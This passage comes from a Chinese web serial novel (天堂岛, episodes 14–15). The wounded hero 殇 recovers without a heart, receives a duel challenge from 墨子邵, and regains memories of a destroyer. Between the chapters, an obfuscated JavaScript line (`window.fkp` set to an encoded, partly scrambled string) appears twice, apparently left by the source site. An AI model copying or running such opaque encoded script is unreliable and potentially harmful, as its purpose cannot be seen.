殇与岚炎擦肩而过,直到岚炎身后四五米处,殇才停了下来。在殇停下来后,岚炎腹部的铠甲与他的右小臂应声掉在了地上,在断开处冒出了许多电火星,。殇转身刚想去补上一刀,就在这时,一阵难以忍受的剧痛袭来,位置是他的核心之中。殇难以忍受这样的痛苦,他单膝跪倒在了地上。冰冷刺骨的寒意袭来,他感觉到自己身上每一个器官、每一块肉都是冰冷的。这种感觉,就跟死了一样。殇身上的盔甲在慢慢消失,他的意识也在慢慢消失。殇本能地摸了摸自己的胸口,他感受不到自己的心跳了。殇本以为就是普通的肉体坏灭,但是这次的痛苦比以往都要剧烈。他想要让自己的核心脱离肉体,但是无论他怎么弄,他的核心都无法脱离这具肉体。 核心: “警告!脱离协议无效!该肉体各项指标数据异常!正在分析原因......该肉体似乎锁定住了您的核心,任何脱离协议都无法脱离肉体,任何试图的脱离都会致使您遭受更大的痛苦。” 殇: “(颤抖的声音)就......就没有办法解除吗?或者......减少我的痛苦什么的?” 核心: “正在搜索最佳答案.......抱歉,没有任何方案。” 殇: “操!” 核心: “检测到您的肉体具有强大的再生能力,预计在几个小时之后您就能恢复到完全的样子。但是您心脏并不会再生,请您及时寻找医生进行心脏的移植。” 殇的意识渐渐消失,他一个重心不稳就趴在了地上。他痛苦地喘息着,他抬头看着面前跪倒在自己身前的岚炎的背影,他很不甘心。就在这时,艾芙琳从顶部的洞口处跳下来到了殇的面前。艾芙琳俯下身来看着殇,她的眼神之中满是崇拜。殇想说些什么,但他现在只有喘息的力气,根本没有说话的力气。 艾芙琳: “(称赞)您真是让我大开眼界了啊,殇爷爷。” 随即艾芙琳站了起来,走向了跪倒在地上的岚炎。她走到了岚炎面前好好观察了一下岚炎,她的表情很是凝重,看样子岚炎的情况并不乐观。艾芙琳轻轻按了下自己的太阳穴,接着开始汇报结果。 艾芙琳: “(严肃)三位管理员大人,岚炎没能完成任务。” 弗: “我的老天啊,伤成这样?!看来是我们低估殇了。” 寰: “哈啊?想不到堂堂红色收尾人竟然会败成这样,看来是我们大意了。今天的对决看得很爽,能亲眼目睹殇战斗是我的荣幸啊。——启动传送装置,把他带回来。” 轇: “把他带回来干什么?既然他没完成任务,就该死在执行任务的途中。像他这样的人,死了是最好的,尤其是死在了执行任务的时候。” 寰: “大可不必,谁叫他给我们带来一部史上最精彩的电影呢?这可比那些枯燥无聊的颜值剧好看多了,一天天谈情说爱跟个发情了的狗似的。谁不喜欢看这种史诗级的对决呢?既有意思,又能振奋人心。——准备执行我的命令,把他给我带回来。” 艾芙琳: “明白。” 艾芙琳拿出了一个小匣子,匣子上印有bS公司的标志,一看就是高科技产品。艾芙琳打开匣子,一个全息显示屏出现在她的眼前。显示屏是大地图,大地图上有着全部的十六个国家。艾芙琳输入特殊坐标码,在弹出的选项之中选定了目的地。她按下了启动的开关,然后把这个匣子放在了地上。这时上下两个空间环出现在艾芙琳和岚炎周围,空间环变成淡蓝色后,传送系统开始读条。殇十分不甘地看着艾芙琳她们,他很想现在立马站起身来去杀了岚炎,但是现在他什么都做不了,他就连呼吸都很费力了。在传送即将开始的时候,艾芙琳突然转头看向了殇。 艾芙琳: “殇,我们以后还会见面的。” 说完,一道耀眼的光芒的出现闪到了殇的眼睛,殇的眼前只有白茫茫的一片。在这道闪光过后,艾芙琳和岚炎就消失得无影无踪了。殇只能看着,除此之外他什么都做不了。不知过了多久,修突然出现在了殇的面前,在修的身后,是悬浮在空中着急地来回摇晃的小咒刀。修简单检查了一下殇的身体状况,殇现在处于死亡的边缘。他体内的细胞在快速地死亡与增生,现在生与死的平衡勉强维持住了,但一旦细胞的死亡速度在某一刻高于增生速度,只要三秒,殇就会立即死去。修二话不说,直接把殇背了起来,修回想了一下周围的路,然后立刻背着殇向着出口走去。 与此同时...... 伊静静地躺在地面上一动不动。伊试着动一下,但是此刻她的身体仿佛被无形的锁链牢牢固定住了一样,无论她怎么尝试,都无济于事。她现在连睁眼睛这一最简单的事都做不到了,但好在她的肺部还在运作,她能呼吸,只能轻轻地呼吸。这时,轻微的脚步声传入了她的耳中,似乎有什么人靠近了她。 墨子邵: “(惊奇)诶?这里怎么还有个人? 李鹏: “墨子邵,这是怎么回事?” 墨子邵: “不知道啊。我一来就看到她躺在这里了。” 李鹏: “(思考)这个长相,好眼熟啊......(突然想起来了)是她!通缉令上的悬赏目标伊!” 墨子邵: “(疑惑)伊?难道那时候那辆悬浮车没把她接走吗?” 王守军: “(指着楼顶)看!楼顶及其以下的五个楼层有被严重破坏过的痕迹!” 墨子邵: “(看向楼顶)看来情况远比我们想象的要复杂啊。” 王守军: “看这个痕迹,楼顶上必定发生了一场大战。真想知道结果如何啊......” 李鹏: “(看着伊)墨子邵,那她怎么办?” 墨子邵: “(思考了一下)我们把她带上吧。如果殇还活着,她就一定回来找她。到时候,我也可以完成我的使命。但如果殇死了,那我们就把她带回太玄国。” 李鹏: “(看着伊)墨子邵,你说她是不是死了啊?我看她一动也不动......” 墨子邵: “死了?你没看到她还在呼吸吗?” 李鹏: “(仔细观察伊)你这一说......还真有!那她为什么一动不动呢?” 王守军: “(猜测)也许是晕过去了吧,但是.......看这样不像啊。” 墨子邵: “先别管这么多了,先把她带到修爷爷那里吧,让他看看她到底怎么了。” 说完,墨子邵就准备把伊背起来带走。就在墨子邵触碰伊的一瞬间,墨子邵感受到了两股及其强大能量正在伊的身体里如潮水一般涌动,这种能量是墨子邵从来没有感受到过的。墨子邵将手放在伊的额头上,他静静感受伊体内的能量变化。两股能量犹如两头巨兽,不,更准确来说的话是两条鱼。这两条鱼在生命的海洋之中掀起惊涛骇浪,在这惊涛骇浪之中,这两条鱼时而靠近相互撞击,时而远离对方再次掀起一轮惊涛骇浪。这种规律运动......就像某种太极的合并与分散一样。 墨子邵: “(惊讶)这怎么回事......太玄之力,生死界限.......这姑娘怎么会有我们国家遗失了许多年的国宝太极玉石的力量呢?她到底经历了什么?” 王守军: “墨子邵,怎么.......” 墨子邵: “(打断王守军的话)先别说话!(思考了一会)——有这股力量,说明她已经死而复生过一次了。(看向楼顶)看样子她被牵连到了那场大战中......那么她多半是被扔下来的。(摇了摇头)先不管那么多了,先把她带到修爷爷那里再说。” 墨子邵背起了伊,然后带着王守军和李鹏想着修隐居的寒舍跑去。墨子邵不知道的是,他很快就会见到自己的任务目标,他很快就面临一场战斗。墨子邵胸前戴着的吊坠发出了微微的绿光,很快变成了红光。在千里之外的太玄国皇宫中,轩胸前的那个吊坠也发出的同样的颜色。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十四话:重要时刻 在殇再次醒来时,他正躺在一间诊所的手术台上。他此刻想开口说些什么,但他的喉咙似乎哑了,他只能轻轻动动嘴唇,什么也说不出来。这时,修出现在他的眼前,他见到殇醒来后脸色瞬变。 修: “(惊)不好!他这个时候醒来了!看来麻醉剂的剂量不够......殇!挺住,忍一会疼,我马上就给你注射新的麻醉剂。” 过了一会,修拿来了这里仅剩的最后一瓶医用麻醉剂,他按照专业的操作将麻醉剂注射到了殇的身体内。很快药效就上来了,殇很快又晕了过去。在殇晕厥的时候,他的耳边偶尔能够听到修自言自语的说话声。 修: “生命体完整度98%,肉体破损度20%,血压血脂正常,大脑活性正常,脑细胞数量正常,神经元活性正常......(惊讶)不!心跳为零!这是怎么回事?” 过了一会...... 修: “(惊讶)他没有心脏!不可思议......他的身体是怎么做到不靠心脏进行血液运输的?这身体构造决定有问题!等等......不,不不不。得赶快找到能解决这个问题的法子......对了,可以那个办法。(犹豫)但是......这样做会让他以后很痛苦的......不管了,先把他救活再说。” 核心: “激活维生协议,调律装置安装中......安装完毕。检测到Emd故障,该意识体尚未与肉体建立平等链接......” 到了黄昏时分,殇的身体状况已经趋于平稳,再过些时候,他就可以醒过来了。这时,在诊所内不止有修一个人在等待殇的苏醒,墨子邵他们也在诊所内等候殇的苏醒。在修对殇进行手术的房间外,伊靠着墙等待殇的诊断结果。这时,房间的门打开了。修走了出来,他的表情很是淡定,显然殇的情况很乐观。见到修出来,伊立马迎了上去。她想开口询问殇的状况,但是由于某种原因,她现在还说不了话。 修: “(淡定)姑娘,我知道你担心他的状况。他的状况还算比较乐观,估摸明天早上就可以醒过来了。” 听到修这么说,伊高举双手无声地欢呼。见到修出来了,墨子邵他们也迎了上去。 墨子邵: “修爷爷,他的状况怎么样?” 修: “还算可以,明天他就可以醒过来了。” 墨子邵: “那伊的情况呢?” 修: “(微笑)她啊,还算可以。只不过刚刚吸收了太极玉石的力量不久,还不习惯这股力量。在加上她还死而复生过一次,她还得适应一阵子。我估摸着,应该明天或者后天她就可以说话了。再过个几天,你小子就得小心了......” 墨子邵: “(好奇)为何?” 修: “(严肃)一旦她适应了这股力量,她随时可以释放超大范围的阵法,一旦身处其中,非死即伤。并且,你要是试着伤害她,太极护罩会反弹你的攻击,从而让你受到来自自己的伤害。总而言之,怎么用,取决于她。若为心善者,方可救济天下,若为堕落者,即可大杀四方。” 墨子邵: “(有一丝紧张)我明白了。” 这时,修走回房间拿来了一个小笔记本和一支笔。他把本和笔递给了伊,伊一脸茫然地接下了本和笔。 修: “(微笑)小姑娘,拿上它们。到时候在不能说话的时候用这个跟别人交流吧。” 伊点了点头,然后给修鞠了一躬以表感谢。此刻,在一旁的墨子邵对着站在他肩上的流光蝶影说: “小家伙,你能帮个忙吗?” 流光蝶影: “(好奇)什么忙?” 墨子邵: “(严肃)一会你跟着我们回到我们的营地,我请你吃一顿饭。然后你就回到这里,在殇完全恢复了实力后,你领着他来到我们的营地,我们两个之间有点事情得当面清算一下。(拿出战书)顺便把这个给他,务必让他看完这个再来找我们。” 流光蝶影: “(猜测)你这是要......堂堂正正地杀了他吗?” 墨子邵: “(坚定)没错。我墨子邵是大丈夫,我不会杀掉苟延残喘的对手,那样有损战士的名誉。” 流光蝶影: “(不情愿)好......好吧。那能别伤害伊行吗?” 墨子邵: “(微笑)她都快成神仙了,我怎敢动她呢?” 流光蝶影: “(好奇)你为什么要杀了殇呢?他到底做错了什么?” 墨子邵: “他做错了很多事,很多你不知道的事。为了能够改变这个世界冷酷无情的体制,他必须消失,不然道路将会充满未知的阻碍。” 流光蝶影: “(疑惑)为什么?他人挺好的啊!他会关心别人,他很重情分重义气。他这样的人怎么会......” 墨子邵: “我们都知道他的本性不坏,但是事实就摆在面前。只有他消失,才能挽救这个世界。” 在一旁的伊静静地听着,她的眼神之中多了一丝不安与担心。伊在纸上写了几个字,然后走到墨子邵面前将纸上的字展示给他看。 “能先去植物园一趟吗?我想把一个娃娃还给一位老奶奶。” 墨子邵思考了一下,植物园现在已经在大火中毁灭了,现在植物园中一定没有危险,他们现在过去是安全的。想到这点,他点头同意了。 过了一会...... 墨子邵和伊来到了那座被大火烧成了废墟的植物园中。植物园中遍地都是黑色的碳化物,曾经绿油油的草地消失的无影无踪。空气中弥漫着焦味,这焦味之中掺杂着死亡的气息,令人窒息。周围原本生机盎然的树林变成了无数黑色的灰烬,曾经这里鸟语花香,现在这里只有难闻的焦味与骇人的寂静。在走进这片烧焦的树林后,空气之中突然有了一丝丝地花香,顺着花香,伊在树林的深处看到了被荆棘缠绕包裹而没被烧成灰烬的小片树林。在树影之间,伊看到了之前老妇人的那栋小屋。走进这片小树林,走到小屋周围,伊看到了正在给花浇水的那位老妇人。伊想大声呼喊她,但是奈何她没办法说话,只能在远处挥手。这时,那位老妇人也注意到了伊她们。见到客人来了,老妇人赶忙迎上前去迎接。 老妇人: “(微笑)欢迎欢迎,欢迎你们来到我的寒舍。要喝点茶吗?” 墨子邵: “(微笑)不用了,谢谢您的好意,老奶奶。” 李鹏: “(微笑)老人家不用这么客气的。” 王守军: “(微笑)不用这么客气,老奶奶。” 老妇人: “(好奇)小伙子们,你们来这里干什么啊?” 墨子邵: “老奶奶,我们是暂时保护伊小姐的人。伊小姐说要去植物园把一个东西还给你,所以我们也跟着来了。” 老妇人: “原来如此。——伊,你要把什么东西还给我啊?我明明记得你离开的时候什么也没带走啊。” 就在这时,伊开口说话了。伊支支吾吾地没说出一个字来,她见对方听不懂自己的话,就直接采取了行动。 她把一直带着蕾米特西亚拿了出来,她把这个娃娃递给了这位老妇人。见到这个娃娃,老妇人很是惊讶,这个娃娃是她孙女生前最喜欢玩的娃娃,她曾找了许久都未找到它。附带着的,伊把那个蜘蛛娃娃也交给了这位老妇人。见到这两个娃娃,老妇人很是感动。 老妇人: “(感动)这都是我孙女最喜欢的娃娃。这都是回忆啊......我找了好几年都没找到,今天你帮我找到了......谢谢你,小姑娘。” 伊点头回应。 李鹏: “(好奇)话说,墨子邵,你能翻译一下她在说什么吗?” 墨子邵: “(摇摇头)不知道啊,也许是不客气之类的话?” 在归还完娃娃之后,墨子邵他们便带着伊离开了这里。在目送他们离开后,蕾米特西亚活了过来,然后紧紧地抱着老妇人。老妇人见此没有一丝惊讶,她的脸上流露出欣慰的笑容。 蕾米特西亚: “(激动)奶奶!我终于找到你了!我终于又有家了。” 老妇人: “(欣慰的笑)你这个小淘气跑哪去了?奶奶找了你好几年都没找到你。看看他们把你糟蹋的,变成娃娃一定很难受吧......” 蕾米特西亚: “(委屈)难受......(激动)但是只要有奶奶你陪着,我就一点也不难受了。” 老妇人: “(欣慰的笑)回家就好。回家就好啊......” 蕾米特西亚: “(好奇)对了,奶奶。你是怎么知道我变成娃娃的?” 老妇人: “(微笑)我也不记得了,好像是有人跟我说了这件事......无论如何,回家就好啊......” 在伊跟着墨子邵回到了营地后,流光蝶影跟着墨子邵他们吃了顿午饭,然后就按照墨子邵说的回去等待殇恢复了。时间很快就到了傍晚,夕阳的余晖把天边染得如胭脂一般红。 当夜幕到来的时候,在营地的特大号军用帐篷之中,墨子邵一行人正在愉快地吃着晚饭。他们用背包里带的压缩求生锅煮熟了随身携带的便携式军粮,他们三个放了一共三个人的份。他们三个一共煮了两锅菜,一锅饭。得益于现在的科技,他们的背包之中几乎储存了所有的厨房用具,毫不夸张地说,只要周围有可以生活的东西,他们就可以在野外弄一个简陋但是具备所有功能的厨房。在一段时间后,饭菜都熟了。墨子邵他们从背包里拿出消了毒的压缩碗和金属筷,墨子邵特意分了伊一份,并叫上她一起吃晚饭。帐篷内亮起了核心能电灯。墨子邵他们三人把饭菜抬上了帐篷内的矮桌子上,然后揭开了锅盖。饭菜的香气顿时充满了帐篷,闻到饭菜的香气,伊的嘴角不自觉地流出了口水。在吃晚饭的时候,饭桌上的伊丝毫没有感觉到紧张与害怕,反而感到快乐。在饭桌上,墨子邵他们三个相互之间开开玩笑,损损对方,聊聊一些趣事,整个氛围都变得快乐起来。 在吃完晚饭之后,墨子邵他们三个在短暂的商讨后决定轮流出去放哨,墨子邵首当其冲当了第一个出去放哨的人。清凉的晚风吹过墨子邵的身边,吹得草儿微微摆动起来。如星星般的萤火虫在森林之中飞舞,它们点缀了黑暗的森林,让森林的夜不再单调。墨子邵坐在树桩上静静地欣赏着夜空,今晚的夜空之中有着许多闪耀着的星星,还有一轮银白色的弯月。在夜空的群星之间,有着一颗青绿色的明星,这颗明星一直陪伴了这片大地许久,貌似从人类诞生开始这颗明星就一直存在。这时,墨子邵胸前戴着的吊坠发出了青色的幽光,他低头看了一眼,然后拿起吊坠仔细看了看。他没说话,只是用上紧紧地握着吊坠几秒,然后就松开手继续抬头看着夜空了。从小时候起,他就一直觉得那颗青绿色的星星是不吉祥的象征,因为什么他也不知道,只是单纯的觉得这样的星星很不对劲。 就在这时,伊走着来到了他的身旁。伊在纸上写了一行字,然后她把这行字给墨子邵看。 “能让我看看你胸前的吊坠吗?” 墨子邵: “可以。但小心点,这个是很贵重的东西。” 伊又写了一行字。 “好的。” 墨子邵把吊坠拿了下来,然后递给了伊。伊接过吊坠仔细观察了一番,她仿佛明白了什么。 伊心里: “原来如此......” 伊把吊坠还给了墨子邵,然后又写了一行字。 “你能告诉我现在世界怎么样了吗?” 墨子邵深吸了一口气,然后叹了一口气。 墨子邵: “(激动)现在的世界已经走向了‘僵硬化’,除了穹顶区的四个国家以外大部分国家的政府已经无法管理自己的国家。公司的权利越来越大,地方政府越来越衰落。经济发展缓慢,底层人民生活境地悲惨。都市内部开始出现无人区,大面积的区域因为扭曲生物所消失,最后只留下了废墟。扭曲现象、时间错乱、天灾、天天爆发的人与人之间冲突、看不到希望的大疫病解药的研究......这些麻烦事压得所有人都喘不过气来。” 伊的表情很是凝重,墨子邵所描述的世界比她看到的还要残酷。她带着凝重的神情写下了一行字。 “有办法可以改变这一切吗?” 墨子邵: “(神情凝重)有。但是很残酷。这是我来这里的目的,这也是能改变这世界的唯一途径。杀掉殇,即使没办法撼动这个世界该死的体制,但却可以从根本上解决一部分问题。没了殇,殇王国的实力将会缩减一半,在那之后,太玄国的实力即是世界第一。到时候世界格局必将发生改变!” 伊的表情瞬间不那么凝重了,她的眼前似乎出现了希望的火苗。她写下了一行字。 “你恨殇吗?” 墨子邵: “(严肃)恨,当然恨!要不是因为他的无能,这个世界上也许还不会变成这个样子。但我也很感谢他,因为他把我们从殖民者的地狱之中解救出来。但很可惜,他又带我们拉进了一个新的地狱。” 伊的表情有些难过,她为这个冷酷的世界而感到悲伤。伊带着些许难过又写下了一行字。 “我为此感到悲伤。” 墨子邵: “我也一样。” 伊突然想到了什么,她带着好奇写下了一行字。 “这个吊坠是谁送给你的?” 墨子邵: “我的同事送给我的。她是一个比我岁数小了一岁的姑娘,跟我一样是个强大的战士。——(好奇)你问这个干什么?” 伊似乎明白了什么,她带着一丝神秘的微笑写下了一行字。 “没什么,只是有些好奇。” 与此同时...... 在碧蓝世界总部。碧蓝苍穹正站在自己的办公椅后的大窗前俯瞰着殇王国首都的夜景。这时有人敲门,碧蓝苍穹用远处操控打开了门。走进来的人是情报部的部长杰,他的表情很是凝重。 杰: “(恭敬)老板,狂颅那群家伙全军覆没了。” 碧蓝苍穹: “(微笑)哦吼?太可怜了~(严肃)活该!一群没用赛博疯子!(微笑)还有呢?” 杰: “(恭敬)伊小姐她没接回来。三角协会的大将艾芙琳和致命三原色的红色收尾人把我们的悬浮车赶了回去,我们的员工处于公司财产与生命安全考虑就.....回来了。” 碧蓝苍穹: “(微笑)很好,很好。既保住了生命,又保住了公司财产。很好!非常好!一会跟财务部的说一声,在月末给那几个参与行动的员工发奖金。(严肃)三角协会这群娘们......真是够麻烦的!” 杰: “(恭敬)老板,据我们安插在三角协会情报部的内鬼传回的消息,三角协会那三个管理员盯上殇了。” 碧蓝苍穹: “(笑)哈哈哈哈!那可是件好事啊。正好我也想找机会除掉他呢。这下不用我们自己动手了,靠他们这群工具人就行了。” 杰: “老板,德克蕾拉小姐(人文部部长)的又犯病了,她让我传个话,希望你能让她晚上出去去地平区狩猎一些‘动物’。” 碧蓝苍穹: “(微笑)哦?又犯病了?哎......批准了,给她一整天时间,让她玩个痛快。(好奇)还有,家族遗传性d型血液疾病现在有根治的办法吗?” 杰: “(摇摇头)暂时没有,d型是最新型的血液疾病,临床实验几乎没有。再加上德克蕾拉小姐是罕见o型血变种oc型血,想做临床试验都做不了。德克蕾拉小姐只能定期像吸血鬼一样出去吸食人的鲜血来维持生命,不然她就会因为缺血而死去。” 碧蓝苍穹: “(摇摇头)看来,她嗜血的习性是改变不了的了。” 城市内灯火通明,各种全息影像展示在街头与高楼之间,耀眼的霓虹灯组成了大街小巷里各种绚丽的图案与文字。街道上人来人往,马路上车来车往。天空中悬浮车穿梭于高楼大厦与街道之间,天空中的飞艇外挂着巨大的广告牌,内部运载着货物向着远方缓缓飞去。在近处可见各大奇点公司的分公司大楼是的发光标志,再远点依稀可见一些小公司的标志。在城市的正中央,是这个世界最高最大的大楼启明塔,启明塔上有着巨大的商会标志,这是企业心脏,也是这个世界秩序的核心。如此繁华的地方,碧蓝苍穹虽然脸上挂着笑容,但从未开心过。 这时,殇的眼前出现了时而崩坏时而正常的景象,根据走廊的灯和走廊的格局来看,这里是殇王国的皇宫。 殇: “(疑惑)我这是在哪里?这里是我曾生活的皇宫吗?” ???: “往前走,殇。” 殇: “(好奇)你是谁?” ???: “我是你,你是我。往前走,我将告诉你一些事情。” 殇: “好吧。” 殇往前走去,走廊还是那个走廊,但是走起来的感觉与之前大不相同。现在的殇更感觉自己是来到了一个陌生的地方。 ???: “你只管走。我只管说。” 殇: “(不耐烦)有话快说,别磨磨叽叽的。” ???: “你知道你为什么要寻求永生吗?” 殇: “(猜测)为了自己能够稳坐皇位,为了能永远当皇帝,为了能够跟女儿永远在一起。难道不是吗?” ???: “不,你所想的都只是你所认为的。” 这时殇的前方突然出现了一个身穿短袖白色圣衣的人。他有着一头白色的长发,黄色的皮肤,他的双臂之上有着独特的螺旋状纹身,肩上有着造型炫酷的金肩甲,看起来时分霸气。他背对着殇,他的背影令殇感到了恐惧。见到这个身影,殇的头瞬间就痛了起来,殇立刻停下靠着墙捂着头静静看着这个人。它很像伊,但是殇的直觉告诉他,它不是伊,而是一个十分危险的人物。 殇: “(忍痛)他......她......它......是谁?怎么是......怎么会......不可能!绝不可能!” ???: “你是忘不了他的吧,这个身影......你一定记得他是谁吧。” 殇: “(忍痛)啊!操!” 殇回想起了失去的部分记忆...... 天火如雨一般降下,地面上一片狼藉,曾经繁荣的都市变成了废墟,在市中心广场的大坑中,那个白发男人正在悠闲地欣赏废墟的风景。在大坑的周围,是三角协会的三位管理员的尸体。在废墟之中,是无数人的尸体,其中还有着些许熟悉的面孔。远处的皇宫已经变成了废墟,在那废墟之中,是他那亲爱的女儿。肃清者站在皇宫门口看着已经毁灭的世界一言不发,她的眼角流淌着泪水,这是殇第一次见到女儿长大之后哭泣的样子。肃清者的身上伤痕累累,曾经的气势早已在此刻消失得无影无踪。这时突然下起了小雨,雨水洗刷着这片伤痕累累的土地。那个白发男人站在雨中静静地欣赏着这场雨的美丽,与之相对照的,是被他毁灭掉的城市与人民。殇站在王座之间,一动不动。他的躯体已经死亡,现在的他,只是一尊活体雕塑。 ???: “你真的是为了永生吗?” 在三十多次的时间循环后,殇在成为国王后的第二年再次来到了殇王国的禁区厄瑞波斯山。厄瑞波斯山的中心有着一个巨大的永冻天池,而殇的目的地就是那个天池。殇带着自己的三把武器来到了天池之上,这三把武器可以称得上是神器,因为使用它们的人可以称得上是神。殇的左手是神匠铸造的最强武器之一的弑神者,右手是上一任殇王国国王的最强武器泰坦屠戮者,背后背着无名战神给予他的化境。弑神者是一把银刃大刀,上面有齿轮与紫水晶作为装饰。泰坦屠戮者是一把金刃长剑,上面有着彩色的水晶作为装饰。化境是一把黑钢长刃战矛,上面没有花里胡哨的装饰,只有在柄上绑着些许丝带来充当装饰。在天池的中心,站着那位白发男人,他就是殇要战胜的最后敌人。 ???: “你所做的一切都是为了战胜他!” 在天池一战后,那位白发男人只是手指出了点血而已,而殇则是浑身是伤的惨败。那个白发男人并没有杀掉殇,而是放走了殇。他与殇约定在几十年后再进行一次战斗,如果殇输了,或者在这期间死亡了,他就会找他亲爱的女儿肃清者进行战斗。为了能够战胜他,殇在上位后一直在暗中调查那个白发男人,同时也在研究打败他的办法。由于殇还保留了之前时间循环的部分记忆,殇知道如果不打败他,到时候会有无数的人死去。殇试了各种办法,他曾试着提升自己的实力,为此他每周都来找无名战神切磋,但是他的实力即使增长得再快,也打不过无名战神。那位白发男人的实力远在无名战神之上,可他连无名战神都打不过,更何况那位白发男人了。在试遍了几十种办法后,殇老了,他的实力退步越来越明显了。最后,他选择让皇家炼金师去制造出能够永生的办法,以此来给自己争取更多的时间。 ???: “你看到了吗?你不是为了永生!你是为了打败那个会毁掉一切的男人!他们都误会你了,包括你自己也误会你自己了!” 炼金师伊洛斯成功按照古代炼金术宝典制造出了拥有绝对太阴之力的暗之石,在许多次临床试验后,他提取到了大量的暗之能量。在他没日没夜的劳作后,暗之石虽然只完成到了半成品的阶段,但是其蕴含的能量已经可以延长殇的寿命了。由于缺少暗之种子,暗之石并没有达到炼金术宝典记载的那样厉害。在殇沉睡后,他将灵魂注入到了一颗蕴含着奇点技术的次世代核心之中,然后这颗核心由肃清者交给了碧蓝苍穹,由他安排灵魂分离后的旅程。但...... ???: “看到了吗?这就是事实的真相。” 殇: “操!原来......是这样吗?” 殇眼前的那个白发男人消失了,取而代之的是伊。殇对着伊伸出了手,想要抓住伊,不让她离开。但是伊的身影很快就消失了,在消失之前,伊还对殇笑了笑。 ???: “你还不能倒下!你还有事情要去做呢。伊,她还等着你去救她呢。” 殇: “操!那你就别说没用的了,赶紧闭嘴吧!让我赶紧他妈的醒过来!” ???: “(意味深长)记住,你的女儿从来没有恨过你这个父亲,信任你的人依然信任着你。” 殇猛地睁开了眼,他看了看天花板,又看了看周围。他现在还在修的诊所里。他从床上坐了起来,然后下了床。他推开了门,走到了诊所的大厅。这时,修正在大厅的等待区的一个茶桌上喝茶。 殇: “修!喝什么茶呢?” 修放下茶杯看向殇,在见到殇后,修露出了带有一丝担忧的微笑。修示意殇坐下喝茶,殇点了点头,然后坐到了茶桌的另一边。 殇: “(好奇)修,我的病情如何啊?” 修: “(严肃)殇,怎么说呢......你现在体内是靠着你的核心来维持血液循环的,换句话说,你的心脏被你的核心替代了。” 殇: “哦?那我不就‘没心没肺’了?我来的时候......也对,那时候跟岚炎战斗的时候他捏爆了我的心脏。” 修: “殇,现在你的躯体已经与你的核心绑定在一起了,你要想换肉体的话只能等你的肉体完全坏灭。” 殇: “(好奇)这样有什么危害吗?例如说会心肺骤停之类的。” 修: “有。而且危害还不小。” 殇: “说来听听。” 修: “你的灵魂与你的肉身不匹配,再加上你的核心替代了你肉身的心脏,接下来你的核心会慢慢改变你的肉体,直到你的肉体变成你之前的样子。” 殇: “(微笑)那不是个好事吗?我又能做回我自己了。” 修: “(严肃)不不不,这点正是你所要担心的。在这个过程中,你百分之七十的核心能量全部都会浪费在这个过程之中。并且在这个期间,你会十分痛苦,各种难以预料的病症都会找上门来。最重要的是,你的肉体不一定会转化成你之前的样子。你有很大的可能就会肉体坏灭!这个时间没人知道具体是什么时候,也许你在战斗的时候就会出现这种情况。” 殇: “(坦然)卧槽,那可是太糟糕了。(好奇)我很好奇,我的肉体还能活多久?” 修: “(猜测)大约四个月。最后的那一个月将是你最痛苦的时候,你得做好心理准备。” 殇: “(坦然)这点到没什么,疼就疼吧,反正死了我又能找个身体活过来。” 修: “(严肃)殇,还有个事。” 殇: “说。” 修: “(严肃)你在战斗的时候消耗太多核心能量了,这就导致你的核心内部发生了严重的膨胀。再加上你最后......你最后没有及时平复情绪来让核心能量产生的频率缓慢下降,这就导致了你的核心一瞬间发生了能量坍缩。(劝告)现在你的核心需要一些时日来进行自我修复,你必须在接下来至少一个月的时间里不能用威力太大的攻击,不然你的核心就会像炸弹一样爆炸,或者像巧克力一样融化。到时候你就真的死了!” 殇: “看来以后得用简单的手段处理敌人了。谢了,修。” 殇拿起茶杯,喝了一口茶。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十五话:赴约 就在这时,流光蝶影飞了过来,她将墨子邵留下的战书放在了桌子上。看着这份战书,殇似乎明白了些什么。流光蝶影将墨子邵让她告诉殇的话都告诉了殇,并且特意嘱咐殇多休息几日。殇先打开了这份墨子邵留下的战书,战书上这样写道: “请殇,于实力恢复完全之日跟随小蝴蝶前往我们的营地,与我进行决战。我,墨子邵即为大丈夫,不杀苟延残喘的敌人。念在你也是男人,也是战士,请你接下战书,与我预定好决战。若你不至,伊将于七日战书下达七日以内跟随我们返回至太玄国。请你,再三考虑。” 看到这封战书上的内容,殇很是惊讶,他没想到伊竟然还活着。他不知道伊还活着的这条消息是真是假,但无论如何,他都要去赴约。对于他来说,只要有可能就不是不可能。想到这点,殇的急性子马上就上来了,他准备立刻就找墨子邵决斗。流光蝶影和修拦住了他,并劝他冷静下来,多休息几日再去。殇在劝说下冷静下来了,他仔细思考了一下,想了想自己身上的还未痊愈的伤疤,他决定调养一日再去找墨子邵。 殇: “(不情愿)那就先休息一日吧,等我状态回来了,我就去应约去。” 这时,殇意识到了一个问题,那就是小咒刀它不见了。殇问了下修,修告诉殇小咒刀被他给封印起来了。殇要求去修解除封印,但是修并未答应,因为一旦小咒刀现在解封,诅咒将会重回殇的身上。听到修这么说,殇决定先让小咒刀被封印几日,直到诅咒解除的那一天。在修养的这一天里殇没闲着,他阅读了修家中存放着的许多医学书籍,并且自学了一些医疗技巧。在其余时间,殇陪着修下下棋,喝喝茶,聊聊天。在聊天中,殇了解一些有用的信息。 与此同时,在墨子邵他们的营地内。伊正坐在树桩上看着墨子邵背包里的一本太玄国着名作家之一鲁先生的名作,这本书字里行间都透露着吃人二字,看得伊背后直发凉。在看了一会后,伊合上了这本书,然后回到了帐篷里把这本书重新塞回了墨子邵的背包之中。伊走出了帐篷,径直来到了正在下棋的墨子邵和李鹏旁边。伊没有发出一点声音,生怕打扰到他们。她静静地看着墨子邵和李鹏的棋局,静静等待棋局结束。在墨子邵下完棋之后,王守军和墨子邵换岗了。王守军跟李鹏下棋,而墨子邵则去站岗。在墨子邵站岗的时候,伊走到了墨子邵的面前,然后在纸上写下了一行字。 